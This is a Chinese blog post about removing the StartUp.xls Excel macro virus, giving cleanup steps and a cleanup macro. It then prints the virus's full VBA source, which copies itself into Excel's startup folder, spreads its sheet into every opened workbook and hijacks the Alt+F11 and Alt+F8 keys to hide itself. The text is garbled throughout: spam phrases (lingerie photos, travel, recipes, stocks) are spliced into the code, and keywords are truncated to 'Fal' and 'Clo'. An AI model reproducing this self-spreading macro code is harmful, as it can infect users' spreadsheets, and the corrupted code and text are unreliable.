StartUp.xls宏病毒清除方法2011-05-23 14:54StartUp.xls宏病毒清除方法
第一步:清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls;
第二步:清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.xls,Excel程序会自建该文件。
第三步:新建C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\startup.xls文件,输入以下代码就行了,以后再打开带毒的excel文件就会自动清除excel文件自带的病毒宏代码了
春节是几月几号
Sub auto_open()
On Error Resume Next
Application.ScreenUpdating = Fal
ActiveWindow.Visible = Fal
n$ = ActiveWorkbook.Name
Workbooks(n$).Clo (Fal)
Application.OnSheetActivate = "StartUp.xls!cop"
艾灸三阴交End Sub
Sub cop()
On Error Resume Next
梅州旅游景点大全
Dim VBC As Object
Dim Name As String
路亚
'Dim delComponent As VBComponent
Name = "StartUp"
For Each book In Workbooks
Set delComponent = book.VBAProject.VBComponents(Name)
book.VBAProject.VBComponents.Remove delComponent
Next
End Sub
以下为宏病毒源代码,请勿非法使用
Sub auto_open()
Dim i As Single
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = Fal
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = Fal
Workbooks("StartUp.xls").Save
'Workbooks(n$).Clo (Fal)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.Calculation = xlCalculationManual
' On Error Resume Next
' On Error GoTo 0
Worksheets("barcode").ComboBox2.Clear
Worksheets("barcode").ComboBox2.AddItem "MDM20"
Worksheets("barcode").ComboBox2.AddItem "MDQ70"
Worksheets("barcode").ComboBox2.AddItem "MDM21"
Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
Worksheets("barcode").ComboBox2.AddItem "MDT10"
Worksheets("barcode").ComboBox2.AddItem "MDS90"
Worksheets("barcode").ComboBox1.Clear
Worksheets("barcode").ComboBox1.AddItem "新LOT"
' Worksheets("barcode").ComboBox3.Clear
' For i = 2 To Worksheets("quence").[a65536].End(xlUp).Row
' Worksheets("barcode").ComboBox3.AddItem Worksheets("quence").Cells(i, 1)
' Next i
Dim MyArray(280, 3)
'第一个列表框包含三个数据列
内衣美女照Worksheets("barcode").ListBox1.ColumnCount = 3
'第二个框包含六个数据列
For i = 0 To 280
MyArray(i, 0) = Worksheets("全工程(ZPT)").Cells(i + 4, 8)
MyArray(i, 1) = Worksheets("全工程(ZPT)").Cells(i + 4, 6)
MyArr
ay(i, 2) = Worksheets("全工程(ZPT)").Cells(i + 4, 7)
51法定假日几天
Next i
' MyArray = Worksheets("全工程(ZPT)").Range("F4:H" & Worksheets("全工程(ZPT)").[a65536].End(xlUp).Row)
' MyArray = Worksheets("全工程(ZPT)").Range("f4:h9")
Worksheets("barcode").ListBox1.List() = MyArray
' ListBox2.Column() = MyArray
Rem arr = Worksheets("全工程(ZPT)").Range("F4:H" & Worksheets("全工程(ZPT)").[a65536].End(xlUp).Row)
Rem ListBox1.AddItem Worksheets("全工程(ZPT)").Cells(i, 6)
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = Fal
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub科技股票
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
蔬菜菜谱For Each book In Workbooks
Application.DisplayAlerts = Fal
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Clo
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub